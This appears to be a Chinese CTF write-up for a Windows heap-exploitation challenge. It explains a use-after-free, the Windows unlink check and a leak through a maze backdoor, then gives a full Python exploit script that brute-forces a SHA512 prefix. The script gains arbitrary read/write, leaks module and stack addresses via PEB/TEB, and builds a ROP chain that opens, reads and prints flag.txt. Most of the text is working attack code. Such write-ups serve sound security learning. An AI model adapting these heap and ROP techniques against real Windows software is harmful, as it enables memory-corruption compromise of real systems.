知识点
- UAF
- Heap overflow
- 逆向分析
- unlink
- Windows下的栈地址泄露
分析
- 进⼊主要的函数后,可以发现头部是⽣成了随机数,同时对随机数进⾏了sha512的加密,⽤户输⼊后进⾏sha512, 同时对⽐前五位,使⽤python可以快速完成该检查。
- 在编辑堆块时,可以发现每次都是以之前存储的字符串的⻓度+8,所以意味着每次编辑都可以⽐之前延⻓8个字 节。
- 存在UAF
- 泄漏地址的部分在功能
5. Into the forest!
的内部,具体位置在1400073D0
处。5. Into the forest!
功能提供了一个迷宫游玩功能,当我们处在迷宫的指定位置处后,就能触发后门1400072A0
从而执行到1400073D0
。触发的具体指令在140007CE6
(call qword ptr [rax+10h]
)处。我们可以泄露程序的基址以及ucrtbase.dll
的基址。
- 同时获得⼀次⼤于0x20的读写用以制作unlink。
- 完成unlink后我们可以任意地址读写,通过程序基址可以泄露
kernel32.dll
的基址,通过kernell.dll
来泄露ntdll.dll
的基址(可以从kernel32.dll
中定位到NtCreateFile
等函数的偏移,因为NtCreateFile
函数是从ntdll.dll
的导入函数。) - 通过逐步泄露PEB->TEB->stack来攻击函数返回地址寻找peb偏移可参考:Windows pwn学习笔记或者直接通过
RtlpUnhandledExceptionFilter
的地址-8。
x64dbg打印:log "Peb Addr = 0x{peb()} teb addr = 0x{teb()} tid = 0x{tid()}"
- 劫持栈执行 WinExec 时,执行失败并返回 367 错误号,该错误是ERROR_CHILD_PROCESS_BLOCKED错误,原因是题目调用了SeTokenIsNoChildProcessRestricted从而限制了子进程的创建。所以该题需要使用传统的
open|read|write
来获取flag。
细节
- Windows的
unlink
与Linux不同,需要绕过的限制为:Q->Flink->Blink == Q->Blink->Flink == &Q
- 在Windows中0x1a代表结束符(End of Text character),输⼊0x1a会使输⼊提前结 束。
- 调试时尽量使用
raw_input()
exp
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import success
#from pwnlib.util.packing import flat, log
from winpwn import *
#from pwn import *
import hashlib
#context.log_level = 'debug'
context.arch = 'amd64'
#sh = remote('127.0.0.1', 6789)
sh=process("RoGueGate_pwn.exe")
def sendlineafter(a,b):
sh.recvuntil(a)
sh.sendline(b)
def sendafter(a,b):
sh.recvuntil(a)
sh.send(b)
def crack_sha512_5(sha_str):
for num in range(10000,99999999):
res = hashlib.sha512(str(num).encode()).hexdigest()
#print res[0:5]
if res[0:5] == sha_str:
print(str(num))
return str(num)
sh.recvuntil(b"Crack the following code: ")
data=str(sh.recv(5))
print data
sendlineafter(b'Enter your answer: ',crack_sha512_5(data))
def add(index, content):
sendlineafter(b'please enter : \r\n', b'1')
sendlineafter(b'Enter User ID:', str(index).encode())
sendlineafter(b'Enter User Name:', content)
def edit(index, size, content):
sendlineafter(b'please enter : \r\n', b'2')
sendlineafter(b'Enter User ID:', str(index).encode())
sendafter(b'Enter New User Length:', str(size).encode())
sh.sendline(content)
def delete(index):
sendlineafter(b'please enter : \r\n', b'3')
sendlineafter(b'Enter User ID:', str(index).encode())
def show(index):
sendlineafter(b'please enter : \r\n', b'4')
sendlineafter(b'Enter User ID:', str(index).encode())
sh.recvuntil(b'name is: ')
add(0, b'a' * 0x17)
add(1, b'a' * 0x17)
add(2, b'a' * 0x17)#Q
add(3, b'a' * 0x17)
add(4, b'a' * 0x17)#S
add(5, b'a' * 0x17)
delete(2)
#为了让 ListHint 不指向 Q ,我们需要再释放 S
delete(4)
sendlineafter(b'please enter : \r\n', b'5')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sendlineafter(b'creature?', b'2')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sendlineafter(b'creature?', b'1')
sendlineafter(b'going ?(y/n)', b'y')
sh.recvuntil(b'for gifts.\r\n')
image_addr = int(sh.recvuntil(b'\r\n')[:-2], 16)
success('image_addr: ' + hex(image_addr))
ucrtbase_addr = int(sh.recvuntil(b'\r\n')[:-2], 16)
success('ucrtbase_addr: ' + hex(ucrtbase_addr))
sendlineafter(b'Enter New User ID: ', str(2).encode())
sendafter(b'Length: ', str(0x10).encode())
#unlink 绕过 Q->Flink->Blink == Q->Blink->Flink == &Q
sh.sendline(p64(image_addr + 0x13078) + p64(image_addr + 0x13080))
#get out from maze
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sendlineafter(b'Enter direction (w/a/s/d): ', b's')
#unlink
delete(1)
#[2]->[2]:[2]->[0]
edit(2, 8, p64(image_addr + 0x13060))
edit(2, 8, p64(image_addr + 0x14170))
show(0)
heap_addr = u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0'))
success('heap_addr: ' + hex(heap_addr))
edit(2, 8, p64(heap_addr))
show(0)
heap_addr2 = u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0'))
success('heap_addr2: ' + hex(heap_addr2))
edit(2, 8, p64(image_addr + 0xE010))
show(0)
kernel32_addr = u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0')) - 0x1010
success('kernel32_addr: ' + hex(kernel32_addr))
'''
#extrn __imp_RtlSizeHeap
edit(2, 8, p64(kernel32_addr + 0x83780))
show(0)
ntdll_addr = u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0')) - 0x24160
'''
#extrn __imp_NtCreateFile:
edit(2, 8, p64(kernel32_addr + 0x83CE0))
show(0)
ntdll_addr = u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0')) - 0x9db40
success('ntdll_addr: ' + hex(ntdll_addr))
edit(2, 8, p64(image_addr + 0x13080))
edit(0, 8, p64(image_addr + 0x13060 - 1))
def write(addr, value):
sendlineafter(b'please enter : \r\n', b'2')
sendlineafter(b'Enter User ID:', str(2).encode())
sendafter(b'Enter New User Length:', str(8).encode())
sh.sendline(b'\0' + p64(addr)[:7])
#sh.sendline(p64(addr)[:8])
sendlineafter(b'please enter : \r\n', b'2')
sendlineafter(b'Enter User ID:', str(0).encode())
sendafter(b'Enter New User Length:', str(8).encode())
sh.sendline(p64(value))
def read(addr):
sendlineafter(b'please enter : \r\n', b'2')
sendlineafter(b'Enter User ID:', str(2).encode())
sendafter(b'Enter New User Length:', str(8).encode())
sh.sendline(b'\0' + p64(addr)[:7])
#sh.sendline(p64(addr)[:8])
sendlineafter(b'please enter : \r\n', b'4')
sendlineafter(b'Enter User ID:', str(0).encode())
sh.recvuntil(b'name is: ')
return u64(sh.recvuntil(b'\r\n')[:-2].ljust(8, b'\0'))
peb_addr = read(ntdll_addr + 0x16c448) - 0x80
success('peb_addr: ' + hex(peb_addr))
teb_addr = peb_addr + 0x1000
success('teb_addr: ' + hex(teb_addr))
stack_top_addr = (read(teb_addr + 8 + 2) << 16) - 8
success('stack_top_addr: ' + hex(stack_top_addr))
stack_addr = stack_top_addr
while (True):
tmp = read(stack_addr)
success(hex(stack_addr) + ': ' + hex(tmp))
if tmp == image_addr + 0x916B:
break
stack_addr -= 8
success('offset: ' + hex(stack_top_addr - stack_addr))
#x64dbg.attach(sh)
raw_input()
write(stack_addr, ntdll_addr + 0x1a853) # pop rcx; ret
stack_addr += 8
path = b"flag.txt\0"
path_i = 0
while (path):
tmp = path[:8].ljust(8, b'\0')
write(stack_top_addr - 0x38 + path_i, u64(tmp))
path = path[8:]
path_i += 8
#ntld_base 0x180000000
write(stack_addr, stack_top_addr - 0x38) # path
stack_addr += 8
write(stack_addr, ntdll_addr + 0x1800b74d0-0x180000000) # pop rdx; ret
stack_addr += 8
write(stack_addr, 0) # 1
stack_addr += 8
write(stack_addr, ntdll_addr + 0x1800010e0-0x180000000) # ret
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0x1800A5550-0x180000000)) # open
stack_addr += 8
write(stack_addr, ntdll_addr + 0x180001ee2-0x180000000) # add rsp, 0x48; ret;
stack_addr += 0x50
write(stack_addr, ntdll_addr + 0x18001a853-0x180000000) # pop rcx; ret
stack_addr += 8
write(stack_addr, 3) # fd
stack_addr += 8
write(stack_addr, ntdll_addr + 0x1800b74d0-0x180000000) # pop rdx; ret
stack_addr += 8
write(stack_addr, stack_top_addr - 0x4000) # buf
stack_addr += 8
write(stack_addr, ntdll_addr + 0x180007223-0x180000000) # pop r8; ret
stack_addr += 8
write(stack_addr, 0x100) # len
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0x1800182A0-0x180000000)) # read
stack_addr += 8
write(stack_addr, ntdll_addr + 0x180001ee2-0x180000000) # add rsp, 0x48; ret;
stack_addr += 0x50
write(stack_addr, ntdll_addr + 0x18001a853-0x180000000) # pop rcx; ret
stack_addr += 8
write(stack_addr, 1) # fd
stack_addr += 8
write(stack_addr, ntdll_addr + 0x1800b74d0-0x180000000) # pop rdx; ret
stack_addr += 8
write(stack_addr, stack_top_addr - 0x4000) # buf
stack_addr += 8
write(stack_addr, ntdll_addr + 0x180007223-0x180000000) # pop r8; ret
stack_addr += 8
write(stack_addr, 0x100) # len
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0x180017BA0-0x180000000)) # write
stack_addr += 8
sendlineafter(b'please enter : \r\n', b'6')
sh.interactive()
参考
ogeek ctf 2019 win pwn babyheap 详解
Comments | NOTHING